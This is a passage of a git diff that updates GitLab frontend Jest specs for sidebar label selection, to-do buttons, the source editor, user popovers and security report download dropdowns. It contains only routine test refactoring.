+ { id: 1, title: 'scoped::test', set: false },
+ { id: 2, set: true, title: 'scoped::one', touched: true },
+ { id: 3, title: '' },
+ { id: 4, title: '' },
+ ]);
+ });
+ });
});
});
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_value_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_value_spec.js
index 59f3268c000..b3ffee2d020 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_value_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_value_spec.js
@@ -1,88 +1,97 @@
import { GlLabel } from '@gitlab/ui';
-import { shallowMount, createLocalVue } from '@vue/test-utils';
-import Vuex from 'vuex';
+import { shallowMount } from '@vue/test-utils';
import DropdownValue from '~/vue_shared/components/sidebar/labels_select_widget/dropdown_value.vue';
-import labelsSelectModule from '~/vue_shared/components/sidebar/labels_select_widget/store';
-
-import { mockConfig, mockRegularLabel, mockScopedLabel } from './mock_data';
-
-const localVue = createLocalVue();
-localVue.use(Vuex);
+import { mockRegularLabel, mockScopedLabel } from './mock_data';
describe('DropdownValue', () => {
let wrapper;
- const createComponent = (initialState = {}, slots = {}) => {
- const store = new Vuex.Store(labelsSelectModule());
-
- store.dispatch('setInitialState', { ...mockConfig, ...initialState });
+ const findAllLabels = () => wrapper.findAllComponents(GlLabel);
+ const findRegularLabel = () => findAllLabels().at(0);
+ const findScopedLabel = () => findAllLabels().at(1);
+ const findWrapper = () => wrapper.find('[data-testid="value-wrapper"]');
+ const findEmptyPlaceholder = () => wrapper.find('[data-testid="empty-placeholder"]');
+ const createComponent = (props = {}, slots = {}) => {
wrapper = shallowMount(DropdownValue, {
- localVue,
- store,
slots,
+ propsData: {
+ selectedLabels: [mockRegularLabel, mockScopedLabel],
+ allowLabelRemove: true,
+ allowScopedLabels: true,
+ labelsFilterBasePath: '/gitlab-org/my-project/issues',
+ labelsFilterParam: 'label_name',
+ ...props,
+ },
});
};
afterEach(() => {
wrapper.destroy();
- wrapper = null;
});
- describe('methods', () => {
- describe('labelFilterUrl', () => {
- it('returns a label filter URL based on provided label param', () => {
- createComponent();
-
- expect(wrapper.vm.labelFilterUrl(mockRegularLabel)).toBe(
- '/gitlab-org/my-project/issues?label_name[]=Foo%20Label',
- );
- });
+ describe('when there are no labels', () => {
+ beforeEach(() => {
+ createComponent(
+ {
+ selectedLabels: [],
+ },
+ {
+ default: 'None',
+ },
+ );
});
- describe('scopedLabel', () => {
- beforeEach(() => {
- createComponent();
- });
+ it('does not apply `has-labels` class to the wrapping container', () => {
+ expect(findWrapper().classes()).not.toContain('has-labels');
+ });
- it('returns `true` when provided label param is a scoped label', () => {
- expect(wrapper.vm.scopedLabel(mockScopedLabel)).toBe(true);
- });
+ it('renders an empty placeholder', () => {
+ expect(findEmptyPlaceholder().exists()).toBe(true);
+ expect(findEmptyPlaceholder().text()).toBe('None');
+ });
- it('returns `false` when provided label param is a regular label', () => {
- expect(wrapper.vm.scopedLabel(mockRegularLabel)).toBe(false);
- });
+ it('does not render any labels', () => {
+ expect(findAllLabels().length).toBe(0);
});
});
- describe('template', () => {
- it('renders class `has-labels` on component container element when `selectedLabels` is not empty', () => {
+ describe('when there are labels', () => {
+ beforeEach(() => {
createComponent();
+ });
- expect(wrapper.attributes('class')).toContain('has-labels');
+ it('applies `has-labels` class to the wrapping container', () => {
+ expect(findWrapper().classes()).toContain('has-labels');
});
- it('renders element containing `None` when `selectedLabels` is empty', () => {
- createComponent(
- {
- selectedLabels: [],
- },
- {
- default: 'None',
- },
- );
- const noneEl = wrapper.find('span.text-secondary');
+ it('does not render an empty placeholder', () => {
+ expect(findEmptyPlaceholder().exists()).toBe(false);
+ });
- expect(noneEl.exists()).toBe(true);
- expect(noneEl.text()).toBe('None');
+ it('renders a list of two labels', () => {
+ expect(findAllLabels().length).toBe(2);
});
- it('renders labels when `selectedLabels` is not empty', () => {
- createComponent();
+ it('passes correct props to the regular label', () => {
+ expect(findRegularLabel().props('target')).toBe(
+ '/gitlab-org/my-project/issues?label_name[]=Foo%20Label',
+ );
+ expect(findRegularLabel().props('scoped')).toBe(false);
+ });
+
+ it('passes correct props to the scoped label', () => {
+ expect(findScopedLabel().props('target')).toBe(
+ '/gitlab-org/my-project/issues?label_name[]=Foo%3A%3ABar',
+ );
+ expect(findScopedLabel().props('scoped')).toBe(true);
+ });
- expect(wrapper.findAll(GlLabel).length).toBe(2);
+ it('emits `onLabelRemove` event with the correct ID', () => {
+ findRegularLabel().vm.$emit('close');
+ expect(wrapper.emitted('onLabelRemove')).toEqual([[mockRegularLabel.id]]);
});
});
});
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_widget/labels_select_root_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_widget/labels_select_root_spec.js
index ee1346c362f..66971446f47 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_widget/labels_select_root_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_widget/labels_select_root_spec.js
@@ -34,6 +34,10 @@ describe('LabelsSelectRoot', () => {
stubs: {
'dropdown-contents': DropdownContents,
},
+ provide: {
+ iid: '1',
+ projectPath: 'test',
+ },
});
};
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_widget/store/actions_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_widget/store/actions_spec.js
index 7ef4b769b6b..27de7de2411 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_widget/store/actions_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_widget/store/actions_spec.js
@@ -1,11 +1,14 @@
import MockAdapter from 'axios-mock-adapter';
import testAction from 'helpers/vuex_action_helper';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import * as actions from '~/vue_shared/components/sidebar/labels_select_widget/store/actions';
import * as types from '~/vue_shared/components/sidebar/labels_select_widget/store/mutation_types';
import defaultState from '~/vue_shared/components/sidebar/labels_select_widget/store/state';
+jest.mock('~/flash');
+
describe('LabelsSelect Actions', () => {
let state;
const mockInitialState = {
@@ -91,10 +94,6 @@ describe('LabelsSelect Actions', () => {
});
describe('receiveLabelsFailure', () => {
- beforeEach(() => {
- setFixtures('<div class="flash-container"></div>');
- });
-
it('sets value `state.labelsFetchInProgress` to `false`', (done) => {
testAction(
actions.receiveLabelsFailure,
@@ -109,9 +108,7 @@ describe('LabelsSelect Actions', () => {
it('shows flash error', () => {
actions.receiveLabelsFailure({ commit: () => {} });
- expect(document.querySelector('.flash-container .flash-text').innerText.trim()).toBe(
- 'Error fetching labels.',
- );
+ expect(createFlash).toHaveBeenCalledWith({ message: 'Error fetching labels.' });
});
});
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_widget/store/mutations_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_widget/store/mutations_spec.js
index acb275b5d90..9e965cb33e8 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_widget/store/mutations_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_widget/store/mutations_spec.js
@@ -120,7 +120,16 @@ describe('LabelsSelect Mutations', () => {
});
describe(`${types.UPDATE_SELECTED_LABELS}`, () => {
- const labels = [{ id: 1 }, { id: 2 }, { id: 3 }, { id: 4 }];
+ let labels;
+
+ beforeEach(() => {
+ labels = [
+ { id: 1, title: 'scoped::test', set: true },
+ { id: 2, set: false, title: 'scoped::one' },
+ { id: 3, title: '' },
+ { id: 4, title: '' },
+ ];
+ });
it('updates `state.labels` to include `touched` and `set` props based on provided `labels` param', () => {
const updatedLabelIds = [2];
@@ -136,5 +145,23 @@ describe('LabelsSelect Mutations', () => {
}
});
});
+
+ describe('when label is scoped', () => {
+ it('unsets the currently selected scoped label and sets the current label', () => {
+ const state = {
+ labels,
+ };
+ mutations[types.UPDATE_SELECTED_LABELS](state, {
+ labels: [{ id: 2, title: 'scoped::one' }],
+ });
+
+ expect(state.labels).toEqual([
+ { id: 1, title: 'scoped::test', set: false },
+ { id: 2, set: true, title: 'scoped::one', touched: true },
+ { id: 3, title: '' },
+ { id: 4, title: '' },
+ ]);
+ });
+ });
});
});
diff --git a/spec/frontend/vue_shared/components/sidebar/todo_button_spec.js b/spec/frontend/vue_shared/components/sidebar/todo_button_spec.js
new file mode 100644
index 00000000000..de3e1ccfb03
--- /dev/null
+++ b/spec/frontend/vue_shared/components/sidebar/todo_button_spec.js
@@ -0,0 +1,68 @@
+import { GlButton } from '@gitlab/ui';
+import { shallowMount, mount } from '@vue/test-utils';
+import TodoButton from '~/vue_shared/components/sidebar/todo_toggle/todo_button.vue';
+
+describe('Todo Button', () => {
+ let wrapper;
+ let dispatchEventSpy;
+
+ const createComponent = (props = {}, mountFn = shallowMount) => {
+ wrapper = mountFn(TodoButton, {
+ propsData: {
+ ...props,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ dispatchEventSpy = jest.spyOn(document, 'dispatchEvent');
+ jest.spyOn(document, 'querySelector').mockReturnValue({
+ innerText: 2,
+ });
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ dispatchEventSpy = null;
+ jest.clearAllMocks();
+ });
+
+ it('renders GlButton', () => {
+ createComponent();
+
+ expect(wrapper.find(GlButton).exists()).toBe(true);
+ });
+
+ it('emits click event when clicked', () => {
+ createComponent({}, mount);
+ wrapper.find(GlButton).trigger('click');
+
+ expect(wrapper.emitted().click).toBeTruthy();
+ });
+
+ it('calls dispatchDocumentEvent to update global To-Do counter correctly', () => {
+ createComponent({}, mount);
+ wrapper.find(GlButton).trigger('click');
+ const dispatchedEvent = dispatchEventSpy.mock.calls[0][0];
+
+ expect(dispatchEventSpy).toHaveBeenCalledTimes(1);
+ expect(dispatchedEvent.detail).toEqual({ count: 1 });
+ expect(dispatchedEvent.type).toBe('todo:toggle');
+ });
+
+ it.each`
+ label | isTodo
+ ${'Mark as done'} | ${true}
+ ${'Add a to do'} | ${false}
+ `('sets correct label when isTodo is $isTodo', ({ label, isTodo }) => {
+ createComponent({ isTodo });
+
+ expect(wrapper.find(GlButton).text()).toBe(label);
+ });
+
+ it('binds additional props to GlButton', () => {
+ createComponent({ loading: true });
+
+ expect(wrapper.find(GlButton).props('loading')).toBe(true);
+ });
+});
diff --git a/spec/frontend/vue_shared/components/source_editor_spec.js b/spec/frontend/vue_shared/components/source_editor_spec.js
new file mode 100644
index 00000000000..dca4d60e23c
--- /dev/null
+++ b/spec/frontend/vue_shared/components/source_editor_spec.js
@@ -0,0 +1,151 @@
+import { shallowMount } from '@vue/test-utils';
+import { nextTick } from 'vue';
+import { EDITOR_READY_EVENT } from '~/editor/constants';
+import Editor from '~/editor/source_editor';
+import SourceEditor from '~/vue_shared/components/source_editor.vue';
+
+jest.mock('~/editor/source_editor');
+
+describe('Source Editor component', () => {
+ let wrapper;
+ let mockInstance;
+
+ const value = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
+ const fileName = 'lorem.txt';
+ const fileGlobalId = 'snippet_777';
+ const createInstanceMock = jest.fn().mockImplementation(() => {
+ mockInstance = {
+ onDidChangeModelContent: jest.fn(),
+ updateModelLanguage: jest.fn(),
+ getValue: jest.fn(),
+ setValue: jest.fn(),
+ dispose: jest.fn(),
+ };
+ return mockInstance;
+ });
+
+ Editor.mockImplementation(() => {
+ return {
+ createInstance: createInstanceMock,
+ };
+ });
+ function createComponent(props = {}) {
+ wrapper = shallowMount(SourceEditor, {
+ propsData: {
+ value,
+ fileName,
+ fileGlobalId,
+ ...props,
+ },
+ });
+ }
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const triggerChangeContent = (val) => {
+ mockInstance.getValue.mockReturnValue(val);
+ const [cb] = mockInstance.onDidChangeModelContent.mock.calls[0];
+
+ cb();
+
+ jest.runOnlyPendingTimers();
+ };
+
+ describe('rendering', () => {
+ it('matches the snapshot', () => {
+ expect(wrapper.element).toMatchSnapshot();
+ });
+
+ it('renders content', () => {
+ expect(wrapper.text()).toContain(value);
+ });
+ });
+
+ describe('functionality', () => {
+ it('does not fail without content', () => {
+ const spy = jest.spyOn(global.console, 'error');
+ createComponent({ value: undefined });
+
+ expect(spy).not.toHaveBeenCalled();
+ expect(wrapper.find('[id^="source-editor-"]').exists()).toBe(true);
+ });
+
+ it('initialises Source Editor instance', () => {
+ const el = wrapper.find({ ref: 'editor' }).element;
+ expect(createInstanceMock).toHaveBeenCalledWith({
+ el,
+ blobPath: fileName,
+ blobGlobalId: fileGlobalId,
+ blobContent: value,
+ extensions: null,
+ });
+ });
+
+ it('reacts to the changes in fileName', () => {
+ const newFileName = 'ipsum.txt';
+
+ wrapper.setProps({
+ fileName: newFileName,
+ });
+
+ return nextTick().then(() => {
+ expect(mockInstance.updateModelLanguage).toHaveBeenCalledWith(newFileName);
+ });
+ });
+
+ it('registers callback with editor onChangeContent', () => {
+ expect(mockInstance.onDidChangeModelContent).toHaveBeenCalledWith(expect.any(Function));
+ });
+
+ it('emits input event when the blob content is changed', () => {
+ expect(wrapper.emitted().input).toBeUndefined();
+
+ triggerChangeContent(value);
+
+ expect(wrapper.emitted().input).toEqual([[value]]);
+ });
+
+ it('emits EDITOR_READY_EVENT event when the Source Editor is ready', async () => {
+ const el = wrapper.find({ ref: 'editor' }).element;
+ expect(wrapper.emitted()[EDITOR_READY_EVENT]).toBeUndefined();
+
+ await el.dispatchEvent(new Event(EDITOR_READY_EVENT));
+
+ expect(wrapper.emitted()[EDITOR_READY_EVENT]).toBeDefined();
+ });
+
+ it('component API `getEditor()` returns the editor instance', () => {
+ expect(wrapper.vm.getEditor()).toBe(mockInstance);
+ });
+
+ describe('reaction to the value update', () => {
+ it('reacts to the changes in the passed value', async () => {
+ const newValue = 'New Value';
+
+ wrapper.setProps({
+ value: newValue,
+ });
+
+ await nextTick();
+ expect(mockInstance.setValue).toHaveBeenCalledWith(newValue);
+ });
+
+ it("does not update value if the passed one is exactly the same as the editor's content", async () => {
+ const newValue = `${value}`; // to make sure we're creating a new String with the same content and not just a reference
+
+ wrapper.setProps({
+ value: newValue,
+ });
+
+ await nextTick();
+ expect(mockInstance.setValue).not.toHaveBeenCalled();
+ });
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/todo_button_spec.js b/spec/frontend/vue_shared/components/todo_button_spec.js
deleted file mode 100644
index 8043bb7785b..00000000000
--- a/spec/frontend/vue_shared/components/todo_button_spec.js
+++ /dev/null
@@ -1,48 +0,0 @@
-import { GlButton } from '@gitlab/ui';
-import { shallowMount, mount } from '@vue/test-utils';
-import TodoButton from '~/vue_shared/components/todo_button.vue';
-
-describe('Todo Button', () => {
- let wrapper;
-
- const createComponent = (props = {}, mountFn = shallowMount) => {
- wrapper = mountFn(TodoButton, {
- propsData: {
- ...props,
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('renders GlButton', () => {
- createComponent();
-
- expect(wrapper.find(GlButton).exists()).toBe(true);
- });
-
- it('emits click event when clicked', () => {
- createComponent({}, mount);
- wrapper.find(GlButton).trigger('click');
-
- expect(wrapper.emitted().click).toBeTruthy();
- });
-
- it.each`
- label | isTodo
- ${'Mark as done'} | ${true}
- ${'Add a to do'} | ${false}
- `('sets correct label when isTodo is $isTodo', ({ label, isTodo }) => {
- createComponent({ isTodo });
-
- expect(wrapper.find(GlButton).text()).toBe(label);
- });
-
- it('binds additional props to GlButton', () => {
- createComponent({ loading: true });
-
- expect(wrapper.find(GlButton).props('loading')).toBe(true);
- });
-});
diff --git a/spec/frontend/vue_shared/components/user_popover/user_popover_spec.js b/spec/frontend/vue_shared/components/user_popover/user_popover_spec.js
index 87fe8619f28..538e67ef354 100644
--- a/spec/frontend/vue_shared/components/user_popover/user_popover_spec.js
+++ b/spec/frontend/vue_shared/components/user_popover/user_popover_spec.js
@@ -1,5 +1,5 @@
-import { GlSkeletonLoader, GlSprintf, GlIcon } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
+import { GlSkeletonLoader, GlIcon } from '@gitlab/ui';
+import { mountExtended } from 'helpers/vue_test_utils_helper';
import { AVAILABILITY_STATUS } from '~/set_status_modal/utils';
import UserNameWithStatus from '~/sidebar/components/assignees/user_name_with_status.vue';
import UserPopover from '~/vue_shared/components/user_popover/user_popover.vue';
@@ -13,6 +13,7 @@ const DEFAULT_PROPS = {
bio: null,
workInformation: null,
status: null,
+ pronouns: 'they/them',
loaded: true,
},
};
@@ -30,23 +31,18 @@ describe('User Popover Component', () => {
wrapper.destroy();
});
- const findByTestId = (testid) => wrapper.find(`[data-testid="${testid}"]`);
const findUserStatus = () => wrapper.find('.js-user-status');
const findTarget = () => document.querySelector('.js-user-link');
const findUserName = () => wrapper.find(UserNameWithStatus);
- const findSecurityBotDocsLink = () => findByTestId('user-popover-bot-docs-link');
+ const findSecurityBotDocsLink = () => wrapper.findByTestId('user-popover-bot-docs-link');
const createWrapper = (props = {}, options = {}) => {
- wrapper = shallowMount(UserPopover, {
+ wrapper = mountExtended(UserPopover, {
propsData: {
...DEFAULT_PROPS,
target: findTarget(),
...props,
},
- stubs: {
- GlSprintf,
- UserNameWithStatus,
- },
...options,
});
};
@@ -232,6 +228,12 @@ describe('User Popover Component', () => {
expect(wrapper.text()).not.toContain('(Busy)');
});
+
+ it('passes `pronouns` prop to `UserNameWithStatus` component', () => {
+ createWrapper();
+
+ expect(findUserName().props('pronouns')).toBe('they/them');
+ });
});
describe('bot user', () => {
diff --git a/spec/frontend/vue_shared/components/user_select_spec.js b/spec/frontend/vue_shared/components/user_select_spec.js
index 0fabc6525ea..b777ac0a0a4 100644
--- a/spec/frontend/vue_shared/components/user_select_spec.js
+++ b/spec/frontend/vue_shared/components/user_select_spec.js
@@ -275,48 +275,4 @@ describe('User select dropdown', () => {
expect(findEmptySearchResults().exists()).toBe(true);
});
});
-
- // TODO Remove this test after the following issue is resolved in the backend
- // https://gitlab.com/gitlab-org/gitlab/-/issues/329750
- describe('temporary error suppression', () => {
- beforeEach(() => {
- jest.spyOn(console, 'error').mockImplementation();
- });
-
- const nullError = { message: 'Cannot return null for non-nullable field GroupMember.user' };
-
- it.each`
- mockErrors
- ${[nullError]}
- ${[nullError, nullError]}
- `('does not emit errors', async ({ mockErrors }) => {
- createComponent({
- searchQueryHandler: jest.fn().mockResolvedValue({
- errors: mockErrors,
- }),
- });
- await waitForSearch();
-
- expect(wrapper.emitted()).toEqual({});
- // eslint-disable-next-line no-console
- expect(console.error).toHaveBeenCalled();
- });
-
- it.each`
- mockErrors
- ${[{ message: 'serious error' }]}
- ${[nullError, { message: 'serious error' }]}
- `('emits error when non-null related errors are included', async ({ mockErrors }) => {
- createComponent({
- searchQueryHandler: jest.fn().mockResolvedValue({
- errors: mockErrors,
- }),
- });
- await waitForSearch();
-
- expect(wrapper.emitted('error')).toEqual([[]]);
- // eslint-disable-next-line no-console
- expect(console.error).not.toHaveBeenCalled();
- });
- });
});
diff --git a/spec/frontend/vue_shared/components/web_ide_link_spec.js b/spec/frontend/vue_shared/components/web_ide_link_spec.js
index 5a6c91bda9f..0fd4d0dab87 100644
--- a/spec/frontend/vue_shared/components/web_ide_link_spec.js
+++ b/spec/frontend/vue_shared/components/web_ide_link_spec.js
@@ -15,8 +15,8 @@ const ACTION_EDIT = {
tooltip: '',
attrs: {
'data-qa-selector': 'edit_button',
- 'data-track-event': 'click_edit',
- 'data-track-label': 'Edit',
+ 'data-track-action': 'click_consolidated_edit',
+ 'data-track-label': 'edit',
},
};
const ACTION_EDIT_CONFIRM_FORK = {
@@ -32,8 +32,8 @@ const ACTION_WEB_IDE = {
text: 'Web IDE',
attrs: {
'data-qa-selector': 'web_ide_button',
- 'data-track-event': 'click_edit_ide',
- 'data-track-label': 'Web IDE',
+ 'data-track-action': 'click_consolidated_edit_ide',
+ 'data-track-label': 'web_ide',
},
};
const ACTION_WEB_IDE_CONFIRM_FORK = {
diff --git a/spec/frontend/vue_shared/new_namespace/components/welcome_spec.js b/spec/frontend/vue_shared/new_namespace/components/welcome_spec.js
index 602213fca83..2d51f6dbeeb 100644
--- a/spec/frontend/vue_shared/new_namespace/components/welcome_spec.js
+++ b/spec/frontend/vue_shared/new_namespace/components/welcome_spec.js
@@ -1,12 +1,8 @@
import { shallowMount } from '@vue/test-utils';
import { nextTick } from 'vue';
import { mockTracking } from 'helpers/tracking_helper';
-import { TRACKING_CONTEXT_SCHEMA } from '~/experimentation/constants';
-import { getExperimentData } from '~/experimentation/utils';
import WelcomePage from '~/vue_shared/new_namespace/components/welcome.vue';
-jest.mock('~/experimentation/utils', () => ({ getExperimentData: jest.fn() }));
-
describe('Welcome page', () => {
let wrapper;
let trackingSpy;
@@ -28,7 +24,6 @@ describe('Welcome page', () => {
beforeEach(() => {
trackingSpy = mockTracking('_category_', document, jest.spyOn);
trackingSpy.mockImplementation(() => {});
- getExperimentData.mockReturnValue(undefined);
});
afterEach(() => {
@@ -38,7 +33,7 @@ describe('Welcome page', () => {
});
it('tracks link clicks', async () => {
- createComponent({ propsData: { experiment: 'foo', panels: [{ name: 'test', href: '#' }] } });
+ createComponent({ propsData: { panels: [{ name: 'test', href: '#' }] } });
const link = wrapper.find('a');
link.trigger('click');
await nextTick();
@@ -47,25 +42,6 @@ describe('Welcome page', () => {
});
});
- it('adds experiment data if in experiment', async () => {
- const mockExperimentData = 'data';
- getExperimentData.mockReturnValue(mockExperimentData);
-
- createComponent({ propsData: { experiment: 'foo', panels: [{ name: 'test', href: '#' }] } });
- const link = wrapper.find('a');
- link.trigger('click');
- await nextTick();
- return wrapper.vm.$nextTick().then(() => {
- expect(trackingSpy).toHaveBeenCalledWith(undefined, 'click_tab', {
- label: 'test',
- context: {
- data: mockExperimentData,
- schema: TRACKING_CONTEXT_SCHEMA,
- },
- });
- });
- });
-
it('renders footer slot if provided', () => {
const DUMMY = 'Test message';
createComponent({
diff --git a/spec/frontend/vue_shared/new_namespace/new_namespace_page_spec.js b/spec/frontend/vue_shared/new_namespace/new_namespace_page_spec.js
index 30937921900..6115dc6e61b 100644
--- a/spec/frontend/vue_shared/new_namespace/new_namespace_page_spec.js
+++ b/spec/frontend/vue_shared/new_namespace/new_namespace_page_spec.js
@@ -37,13 +37,6 @@ describe('Experimental new project creation app', () => {
window.location.hash = '';
});
- it('passes experiment to welcome component if provided', () => {
- const EXPERIMENT = 'foo';
- createComponent({ propsData: { experiment: EXPERIMENT } });
-
- expect(findWelcomePage().props().experiment).toBe(EXPERIMENT);
- });
-
describe('with empty hash', () => {
beforeEach(() => {
createComponent();
diff --git a/spec/frontend/vue_shared/oncall_schedules_list_spec.js b/spec/frontend/vue_shared/oncall_schedules_list_spec.js
index 5c30809c09b..f83a5187b8b 100644
--- a/spec/frontend/vue_shared/oncall_schedules_list_spec.js
+++ b/spec/frontend/vue_shared/oncall_schedules_list_spec.js
@@ -18,7 +18,7 @@ const mockSchedules = [
},
];
-const userName = 'User 1';
+const userName = "O'User";
describe('On-call schedules list', () => {
let wrapper;
diff --git a/spec/frontend/vue_shared/plugins/global_toast_spec.js b/spec/frontend/vue_shared/plugins/global_toast_spec.js
index 89f43a5e556..322586a772c 100644
--- a/spec/frontend/vue_shared/plugins/global_toast_spec.js
+++ b/spec/frontend/vue_shared/plugins/global_toast_spec.js
@@ -1,11 +1,10 @@
-import Vue from 'vue';
-import toast from '~/vue_shared/plugins/global_toast';
+import toast, { instance } from '~/vue_shared/plugins/global_toast';
describe('Global toast', () => {
let spyFunc;
beforeEach(() => {
- spyFunc = jest.spyOn(Vue.prototype.$toast, 'show').mockImplementation(() => {});
+ spyFunc = jest.spyOn(instance.$toast, 'show').mockImplementation(() => {});
});
afterEach(() => {
@@ -18,7 +17,7 @@ describe('Global toast', () => {
toast(arg1, arg2);
- expect(Vue.prototype.$toast.show).toHaveBeenCalledTimes(1);
- expect(Vue.prototype.$toast.show).toHaveBeenCalledWith(arg1, arg2);
+ expect(instance.$toast.show).toHaveBeenCalledTimes(1);
+ expect(instance.$toast.show).toHaveBeenCalledWith(arg1, arg2);
});
});
diff --git a/spec/frontend/vue_shared/security_reports/components/manage_via_mr_spec.js b/spec/frontend/vue_shared/security_reports/components/manage_via_mr_spec.js
index 517eee6a729..facbd51168c 100644
--- a/spec/frontend/vue_shared/security_reports/components/manage_via_mr_spec.js
+++ b/spec/frontend/vue_shared/security_reports/components/manage_via_mr_spec.js
@@ -9,6 +9,7 @@ import waitForPromises from 'helpers/wait_for_promises';
import { humanize } from '~/lib/utils/text_utility';
import { redirectTo } from '~/lib/utils/url_utility';
import ManageViaMr from '~/vue_shared/security_configuration/components/manage_via_mr.vue';
+import { REPORT_TYPE_SAST } from '~/vue_shared/security_reports/constants';
import { buildConfigureSecurityFeatureMockFactory } from './apollo_mocks';
jest.mock('~/lib/utils/url_utility');
@@ -169,6 +170,29 @@ describe('ManageViaMr component', () => {
},
);
+ describe('canRender static method', () => {
+ it.each`
+ context | type | available | configured | canEnableByMergeRequest | expectedValue
+ ${'an unconfigured feature'} | ${REPORT_TYPE_SAST} | ${true} | ${false} | ${true} | ${true}
+ ${'a configured feature'} | ${REPORT_TYPE_SAST} | ${true} | ${true} | ${true} | ${false}
+ ${'an unavailable feature'} | ${REPORT_TYPE_SAST} | ${false} | ${false} | ${true} | ${false}
+ ${'a feature which cannot be enabled via MR'} | ${REPORT_TYPE_SAST} | ${true} | ${false} | ${false} | ${false}
+ ${'an unknown feature'} | ${'foo'} | ${true} | ${false} | ${true} | ${false}
+ `(
+ 'given $context returns $expectedValue',
+ ({ type, available, configured, canEnableByMergeRequest, expectedValue }) => {
+ expect(
+ ManageViaMr.canRender({
+ type,
+ available,
+ configured,
+ canEnableByMergeRequest,
+ }),
+ ).toBe(expectedValue);
+ },
+ );
+ });
+
describe('button props', () => {
it('passes the variant and category props to the GlButton', () => {
const variant = 'danger';
diff --git a/spec/frontend/vue_shared/security_reports/components/security_report_download_dropdown_spec.js b/spec/frontend/vue_shared/security_reports/components/security_report_download_dropdown_spec.js
index 9138d2d3f4c..4b75da0b126 100644
--- a/spec/frontend/vue_shared/security_reports/components/security_report_download_dropdown_spec.js
+++ b/spec/frontend/vue_shared/security_reports/components/security_report_download_dropdown_spec.js
@@ -40,14 +40,13 @@ describe('SecurityReportDownloadDropdown component', () => {
expect(findDropdown().props('loading')).toBe(false);
});
- it('renders a dropdown items for each artifact', () => {
+ it('renders a dropdown item for each artifact', () => {
artifacts.forEach((artifact, i) => {
const item = findDropdownItems().at(i);
expect(item.text()).toContain(artifact.name);
- expect(item.attributes()).toMatchObject({
- href: artifact.path,
- download: expect.any(String),
- });
+
+ expect(item.element.getAttribute('href')).toBe(artifact.path);
+ expect(item.element.getAttribute('download')).toBeDefined();
});
});
});
@@ -61,4 +60,32 @@ describe('SecurityReportDownloadDropdown component', () => {
expect(findDropdown().props('loading')).toBe(true);
});
});
+
+ describe('given title props', () => {
+ beforeEach(() => {
+ createComponent({ artifacts: [], loading: true, title: 'test title' });
+ });
+
+ it('should render title', () => {
+ expect(findDropdown().attributes('title')).toBe('test title');
+ });
+
+ it('should not render text', () => {
+ expect(findDropdown().text().trim()).toBe('');
+ });
+ });
+
+ describe('given text props', () => {
+ beforeEach(() => {
+ createComponent({ artifacts: [], loading: true, text: 'test text' });
+ });
+
+ it('should not render title', () => {
+ expect(findDropdown().props().title).not.toBeDefined();
+ });
+
+ it('should render text', () => {
+ expect(findDropdown().props().text).toContain('test text');
+ });
+ });
});
diff --git a/spec/frontend/vue_shared/security_reports/mock_data.js b/spec/frontend/vue_shared/security_reports/mock_data.js
index bd9ce3b7314..06631710509 100644
--- a/spec/frontend/vue_shared/security_reports/mock_data.js
+++ b/spec/frontend/vue_shared/security_reports/mock_data.js
@@ -581,9 +581,18 @@ export const secretDetectionArtifacts = [
},
];
-export const expectedDownloadDropdownProps = {
+export const expectedDownloadDropdownPropsWithTitle = {
loading: false,
artifacts: [...secretDetectionArtifacts, ...sastArtifacts],
+ text: '',
+ title: 'Download results',
+};
+
+export const expectedDownloadDropdownPropsWithText = {
+ loading: false,
+ artifacts: [...secretDetectionArtifacts, ...sastArtifacts],
+ title: '',
+ text: 'Download results',
};
/**
diff --git a/spec/frontend/vue_shared/security_reports/security_reports_app_spec.js b/spec/frontend/vue_shared/security_reports/security_reports_app_spec.js
index 038d7754776..bef538e1ff1 100644
--- a/spec/frontend/vue_shared/security_reports/security_reports_app_spec.js
+++ b/spec/frontend/vue_shared/security_reports/security_reports_app_spec.js
@@ -8,7 +8,7 @@ import createMockApollo from 'helpers/mock_apollo_helper';
import { trimText } from 'helpers/text_helper';
import waitForPromises from 'helpers/wait_for_promises';
import {
- expectedDownloadDropdownProps,
+ expectedDownloadDropdownPropsWithText,
securityReportMergeRequestDownloadPathsQueryNoArtifactsResponse,
securityReportMergeRequestDownloadPathsQueryResponse,
sastDiffSuccessMock,
@@ -99,7 +99,7 @@ describe('Security reports app', () => {
});
it('renders the download dropdown', () => {
- expect(findDownloadDropdown().props()).toEqual(expectedDownloadDropdownProps);
+ expect(findDownloadDropdown().props()).toEqual(expectedDownloadDropdownPropsWithText);
});
it('renders the expected message', () => {
@@ -203,7 +203,7 @@ describe('Security reports app', () => {
});
it('renders the download dropdown', () => {
- expect(findDownloadDropdown().props()).toEqual(expectedDownloadDropdownProps);
+ expect(findDownloadDropdown().props()).toEqual(expectedDownloadDropdownPropsWithText);
});
});
@@ -225,7 +225,7 @@ describe('Security reports app', () => {
});
it('renders the download dropdown', () => {
- expect(findDownloadDropdown().props()).toEqual(expectedDownloadDropdownProps);
+ expect(findDownloadDropdown().props()).toEqual(expectedDownloadDropdownPropsWithText);
});
});
